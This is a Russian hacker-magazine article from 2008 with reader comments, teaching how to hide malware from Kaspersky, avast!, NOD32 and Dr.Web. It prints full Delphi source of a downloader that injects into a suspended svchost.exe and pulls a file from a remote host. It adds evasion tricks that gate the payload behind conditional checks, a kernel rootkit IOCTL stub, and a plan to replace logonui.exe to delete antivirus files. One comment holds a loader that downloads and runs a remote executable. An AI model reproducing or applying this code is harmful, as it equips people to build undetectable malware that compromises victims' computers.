Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

Маскировка вируса

Bookmark and Share

Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.

Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.

Для начала возьмем готовый исходник вредоносной проги. Так как мне очень подуше сайт www.wasm.ru, то готовый исходник я взял именно оттуда, это исходник Ms-Rem’a для обхода Agnitum Outpost Firewall Pro. В первичном виде он успешно палится всеми тремя антивирусами.

Вот его код:

program FireFuck;

uses
Windows, WinSock;

{$IMAGEBASE $13140000}

{
Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{
Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{
Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{
процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;


var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
t:textfile;
cmd:string;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//
запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//
выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//
внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//
изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//
запускаем процесс
ResumeThread(Pr.hThread);
end;

Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.

Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:

AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);

Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:

Procedure MyVirusStart(str:string);
Var cmd:string;t:textfile;
Begin
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
End;

А код модифицируем, вместо

CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);

Напишем вот так:

AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '2' then MyVirusStart;

И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.

Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.

Все это работает благодаря тому, что вирус разбивается на абсолютно безвредные части и то, что он будет делать напрямую зависит от команд в файле, без него вирус превращается в безвредную программку. Учитывая еще и то, что современным антивирусам видимо влом проверять весь файл вируса целиком и полностью - все работает «как часы», а если еще и изменять файл во время работы вируса (некий полиморфизм получается), то все антивирусы будут нервно курить в сторонке )). Чем на большее количество частей разделен вирус (число используемых команд) - тем эффективнее метод. Хотя (как показала практика) вполне хватает всего лишь 2 раза вставить подобный код в исходник и получается приличный результат – при проверке нескольких переделанных описанным выше способом исходников сервисом VirusTotal выяснилось, что если всего в 2-х местах исходника вставить предлагаемый код, то ни Dr.Web, ни NOD32, ни каспер больше его не палят.

Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.

Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:

// генерируем команду и кладем ее в рандомую ячейку массива а
procedure writecmd;
var i,c:integer;
begin
for c:=0 to 10 do a[c]:=0;
i:=random(900);
i:=i+1;
a[random(11)]:=i; //
а – массив
end;

А в коде вируса вставляем следующие строчки

for j:=0 to 10 do
if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
//
здесь вызываем главное действие вируса
//
в данном исходнике это CreateProcess

Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).

Что же касается ядра Windows, то защита руткитов от палева антивирусов, вооружившихся только что обновленными базами,  происходит аналогичным образом, только «указания» вирусу можно давать при помощи IOCTL команд, а можно для уверенности передавать IOCTL командами также адреса перехватываемых функций (в случае с SDT можно передавать код функции в таблице).

Итак, что нам нужно сделать:

  1. Основную операцию записи в память перенесем в отдельную функцию;
  2. Создадим обработчик IOCTL команд;
  3. Свяжем IOCTL команду с процедурой записи в память(модификации кода).

Для начала создадим процедуру, модифицирующую код ядра:

// Здесь формируется код IOCTL в драйвере
#define TESTDRV_TYPE 40000
#define IOCTL_IOPM_FUNCTION \
CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS WriteKernelMemory()
{
//
Здесь устанавливаем перехват на какую-нибудь функцию
...
}
NTSTATUS OnDeviceControlHandle(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP pIrp
)
{
int i;
I = 9;
I = i+177;
NTSTATUS ntStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION irpSp;

//
Длина входного буфера
ULONG inBufLength;
//
Длина выходного буфера
ULONG outBufLength;
//
Указатель на входной и выходной буфер
PULONG ioBuffer;

// DbgPrint("OnDeviceControlHandle");

//
Получаем указатель на драйверный стек
irpSp= IoGetCurrentIrpStackLocation(pIrp);

//
Входной и выходной буфера и их длины
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
//
собственно обработка команд
switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
{
//
обработка кода функции IOCTL_IOPM_FUNCTION
case IOCTL_IOPM_FUNCTION:
{
If(i!=0)
WriteKernelMemory;
break;
}
}

//
Завершение рабочей процедуры
pIrp->IoStatus.Information = inBufLength;
/*
Размер выходного буфера */
pIrp->IoStatus.Status = ntStatus;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return ntStatus;
}

Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.

Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.

Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.

Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!

Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.



Теги: антивирус , вирус , программирование





ПРЕДЫДУЩИЕ СТАТЬИ
Свои модули для PasswordsPro: атака на хэши
Кража паролей из памяти
*nix-бэкдоры в подробностях
Вирусное оружие №4
Вирусное оружие №3
Вирусное оружие №2
Вирусное оружие №1
Клавиатурный шпион своими руками #3
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
05.05.2008 21:13:41
Ответить Ссылка
отстой, старые способы, уже даже самый минусовый антивирь такое не пропустит
UserГость
05.05.2008 23:09:19
Ответить Ссылка
ну эт как извратица, предложена лишь идея...
UserГость
06.05.2008 13:16:08
Ответить Ссылка
сначала проверь а потом говори - все работает
UserГость
07.05.2008 1:24:25
Ответить Ссылка
Неплохая статья, а вот Гости странные какие-то.
UserГость
07.05.2008 9:54:58
Ответить Ссылка
проактивка палит эти способы!!! не именно сам файл, а внедрение в svchost.exe
UserГость
07.05.2008 11:50:30
Ответить Ссылка
Нормальная статья.
UserГость
07.05.2008 12:25:36
Ответить Ссылка
а про проактив читай последнюю часть статьи
UserГость
07.05.2008 18:44:33
Ответить Ссылка
Простым добавление строк не обойдешся. антивирусы даже кусочек выруа(наже намек на него на странице сайта) застукают
UserГость
08.05.2008 3:31:22
Ответить Ссылка
Какое к черту разделение? WTF? если прога будет лезть к svchost-у, то какая в з разница, с условием она это делает или без? Бред, достаточно перехватывать все АПИ вызовы с параметрами процессов системного каталога - и нигде это не сделано, скажешь? Мой триальный нод ловит авторан.инф на попытке доступа к свчосту, чего уж там каспер... короче сказки

а ваще, откуда такая осведомленность по поводу каспера?))
UserГость
08.05.2008 11:50:21
Ответить Ссылка
ПРО ПРОАКТИВ НАПИСАНО В КОНЦЕ СТАТЬИ!!!!!!!!
Userxackich
08.05.2008 12:02:45
Ответить Ссылка
так : дорогие гости, прежеде чем чтонибуть писать и ругать сею статью, прочитайте ее до конца, про проактив написано в конце статьи, кстати есть еще целая куча файлов, к-е можно заменить вместо logonui.exe, далее,второе, че вы к первому исходнику прицепились, цель статьи - это скрыть вирь от сканеров и эвристических защит!а не доступ к памяти чужих процессов и т.д.(еще раз скажу:про проактив в статье написано)
UserГость
09.05.2008 11:43:16
Ответить Ссылка
1. Guest я только потому, что админ меня здесь отказывается регистрировать (заявка была подана давно).
2. Проактив:
рекомендую всем к прочтению статьи
http://bugtraq.ru/library/security/virnsd.html
http://articles.security-bridge.com/articles/91/11602/

окно входа в венду у меня отключено совсем, только я за своей тачкой сижу, поэтому всегда под админом, что ты будешь в этом случае заменять?
если вход в систему сетевой?
если версия или сама ОС другая, какое окно ты будешь рисовать?

- юзать джойнер? свалишься на любой проактивке.

И еще: если хочешь сделать поведение непредсказуемым, то лучше сделай его зависящим от времени, ака
srand(time(NULL));
if(rand())
...
если интересно, могу поделиться идеями;)
Userxackich
09.05.2008 16:48:03
Ответить Ссылка
Для замены в винде есть еще целая куча таких файлов и ехе и длл, кроме logonui
UserГость
09.05.2008 19:06:55
Ответить Ссылка
>>Для замены в винде есть еще целая куча таких файлов и ехе и длл, кроме logonui

примеры?? а самое главное, что это дает???
UserГость
10.05.2008 9:21:52
Ответить Ссылка
например :user.exe,userinit половина длл-ок винды, можно дрова юзерских прог заменить, ит.д.
файлов куча
что это дает?
да то, что при замене этих файлов проактива не бузит, и файлы эти(дрова особенно), грузятся задолго до того, как антивирус сможет забузить на подозрительное действие и если такие фалы заменить, то можно безпрепятственно выполнять свой код, заменив после этого все файлы обратно
Userxackich
10.05.2008 9:22:15
Ответить Ссылка
например :user.exe,userinit половина длл-ок винды, можно дрова юзерских прог заменить, ит.д.
файлов куча
что это дает?
да то, что при замене этих файлов проактива не бузит, и файлы эти(дрова особенно), грузятся задолго до того, как антивирус сможет забузить на подозрительное действие и если такие фалы заменить, то можно безпрепятственно выполнять свой код, заменив после этого все файлы обратно
UserГость
10.05.2008 22:05:12
Ответить Ссылка
>>например :user.exe,userinit половина длл-ок винды, >>можно дрова юзерских прог заменить, ит.д.
>>файлов куча
1. ну инжектится в плагины, сервисы и проч. уже не ново) я сам попросил примеры, но в статье ни про что упоминаний нет
>>да то, что при замене этих файлов проактива не >>бузит, и файлы эти(дрова особенно), грузятся >>задолго до того, как антивирус сможет забузить >>на подозрительное действие и если такие фалы >>заменить, то можно безпрепятственно выполнять >>свой код, заменив после этого все файлы обратно
2. ой-ой) ну загрузочный сектор проактивом не проверяется, а сканер?)
как ты собираешься заменять юзверьские/виндовые файлы своими? Переписывать всю их функциональность со своими дополнениями, или опять джойнить? догадался, на чем свалишься?)
особенно порадовало "заменить все потом обратно")) как ты себе представляешь скрыть такую бурную сторонюю активность в системном каталоге?) т.е. у нас будет 2 дллки по хз сколько метров, играющие в чехарду?)

я ведь не из вредности, так, во имя общего блага)
UserГость
11.05.2008 0:44:26
Ответить Ссылка
гавнотема внедерение в процесс не рыскрыто а паливо будет
Userxackich
11.05.2008 11:11:53
Ответить Ссылка
1-е а статья не про сканер разве??
2-е на кой черт переписывать весь функционал??как будто нельзя бывший файл заранее скопировать, заменить своим , а после исполнения внедренного кода заменить все обратно (некоторые файлы в винде тупо запускаются и наш код не должен уметь принимать от системы какието параметры и т.д.),как свой код потом изменить на то,что в нем было раньше, надеюсь все знают, при этом некоторые файлы не критичны, и их можно и подпортить(например sfc_os.dll или sfc.dll и т.д.)
3-е коменты типа"гавнотема...." и подобные я вообще не рассматриваю, так как прежде чем писать , следует проверить работоспособноть методов, изложенных в статье!тем более, в статье про проверку вирустоталом говорилось, способы работают!
Userxackich
11.05.2008 11:19:18
Ответить Ссылка
про стороннюю активность :
да проактива каспера(другие не рассматриваю , т.к у каспера офийально самый лучший) ваще не бузит на замену системных файлов(сам проверь если не веришь, мой 7.0 - ваще 0 эмоций), ты заменяешь всегото 1 файл, весом килобайты и все! ну конечно, можно и двухгиговые дллки накрапать, если хочется, это уже дело програмера и его навыки, лично у меня сотня кило ито еле-еле!
кстати, а че мы тут спорим-то, дай мне свою аську,там и поделимся друг с другом опытом?
UserГость
11.05.2008 17:55:17
Ответить Ссылка
2xackich
проверь почту на хакере
UserГость
17.05.2008 9:42:59
Ответить Ссылка
По крайней мере работает спасибо что поделился идей! GPottter_
UserГость
22.05.2008 22:08:46
Ответить Ссылка
Зашел на сайт впервые, думал че серьезное пишут, а тут, гляжу, песочница.
UserГость
28.05.2008 0:46:03
Ответить Ссылка
Проверено на практике маскировка никакая Ы)
NOD32,DrWEB, и еще какаято бесплатная антивирь палят все нещадно, хоть как извращяйся)) а эвристику просто так с напаса не обойдешь..
UserГость
28.05.2008 0:49:23
Ответить Ссылка
Guest Отправлено: 22.05.2008 22:08:46

RE: Маскировка вируса
Зашел на сайт впервые, думал че серьезное пишут, а тут, гляжу, песочница.


Согласен...
UserГость
28.05.2008 0:54:56
Ответить Ссылка
Вообще так на затравочку попробуйте откомпилировать, и использовать свои методы (с файлом -так вообще дЭбилизм...)маскировки..

program loader;

uses
Windows,
WinInet;

var
Buf:Pointer;
SizeBuf:Cardinal = 0;
BTR:Cardinal = 2000h;
HFiles:Pointer;
Hinternet:Pointer;
HF :Cardinal = INVALID_HANDLE_VALUE;
RWfil:Cardinal = 0;
begin
Hinternet:=nil;
Hinternet:= InternetOpen('SmplWinIntDwn',0,0,0,0);
HFiles:=InternetOpenUrl(Hinternet,'http://xxx.xx.ru/files/xxx.exe',
0,0,0,0);
HF:= CreateFile('C:\123.exe',GENERIC_WRITE,FILE_SHARE_READ,Nil,
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
GetMem(Buf,BTR);
repeat
InternetReadFile(HFiles,Buf,BTR,SizeBuf);
WriteFile(HF,Buf^,SizeBuf,RWfil,0);
until SizeBuf = 0;
CloseHandle(HF);
InternetCloseHandle(Hinternet);
HF:=INVALID_HANDLE_VALUE;
FreeMem(Buf);
WinExec('c:\123.exe',SW_SHOW);
end.
Avatari_am_over
18.06.2008 17:06:01
Ответить Ссылка
читал читал ничего не понял))
а я слішал есть где-то статья у вас как спрятать вирь с помощью SFX-архива, кто знает где киньте ссылку а то не могу найти
UserГость
27.06.2008 20:31:13
Ответить Ссылка
Мне, как новичку, полезно для общего развития, хотя реально, есть, что дополнить и исправить
UserГость
02.07.2008 15:20:57
Ответить Ссылка
Можно например этот вирус найти и удалить с помощью AVS PC или AVS PC+
Антивирусная Программа AVS PC и AVS PC+ найдет все.... Новое поколение программ.
AVS Soft 2008
Совместный Продукт России Германии Японии
UserГость
07.07.2008 7:43:08
Ответить Ссылка
Баян, можно поинтереснее написать...
UserГость
22.07.2008 16:38:49
Ответить Ссылка
проактивка agnitum'а в максимальном режиме отловит это дело - появится окно типа "компоненты изменены", и можно залочить это дело, причем в отличие от каспера, это окно может появиться, с того момента, как подсистема окон инициализирована - т.е. даже без входа в систему. Вот такая вот хрень с outpost...
Userxackich
29.07.2008 18:30:38
Ответить Ссылка
Так: фрагмент кода в начале статьи не главная ее тема!!!!зачем же его тогда ваще обсуждать?!он написан не мной я знаю что он бажный, этот код взят чисто для примера применения метода описанного в статье, я знаю что проактива все запалит но ведь про проативу в статье речь и не идет!речь идет только о самом простом способе на время скрыть вирус от антивирусных баз без знания асма
UserГость
06.08.2008 23:40:00
Ответить Ссылка
2 xackich
1е - за метод описанный в статье - баян..
2е - и речи быть не может о временном скрытии, пишите свой пакер+шифратор+перехват АПИ в кернеле, может быть на время и спрячитеся)ыы, а лучший способ прятать вири - неписать их нах)..
UserГость
10.08.2008 10:00:22
Ответить Ссылка
Хорошая статья, но приличный файрволл такую самодеятельность сразу запалит
UserГость
18.08.2008 16:54:29
Ответить Ссылка
Какой нax баян? Бубен рулит.
Статья ниче вроде тока Каспера такой хней не проведешь :р
UserГость
24.08.2008 23:47:04
Ответить Ссылка
2 Guest Отправлено: 18.08.2008 16:54:29
очнитесь нах!!!.. вас околдовали!!!
UserГость
02.09.2008 0:13:07
Ответить Ссылка
Я могу пройти практику.
UserГость
11.10.2008 8:33:12
Ответить Ссылка
Хак, +1(эт пух)=)))
UserГость
24.12.2008 15:30:58
Ответить Ссылка
Жесть: горькая правда жызни. Только нужно мочить
плохих user-ов ну и оборзевшых ламеров, а не всех подряд!!! Пис братья
UserГость
06.03.2009 20:22:58
Ответить Ссылка
так не удивительно, статье уже сколько...
UserГость
09.05.2009 1:27:16
Ответить Ссылка
а ты набросай мусора в афторан.инф и посмотри че будет.
UserГость
09.05.2009 1:31:55
Ответить Ссылка
+1 к ффтору норм написал. но то что любой нормальный файрволл запалит что есть обращения к порту то да
UserГость
13.05.2009 9:08:21
Ответить Ссылка
ха!а я совершено другой подход использую в своем трояне, еще не пробовал с касперским 2009, но касперски 7 ПРОБИВАЛ на ура и ложил его. хехехе! )




Keywords: zPOSTz zHACKz, zSOFTz, zPROz, zHOWz, zINFOz, zYANDEXz z43474z
Для Авторов: edit Lock delete Lock



    Rambler's Top100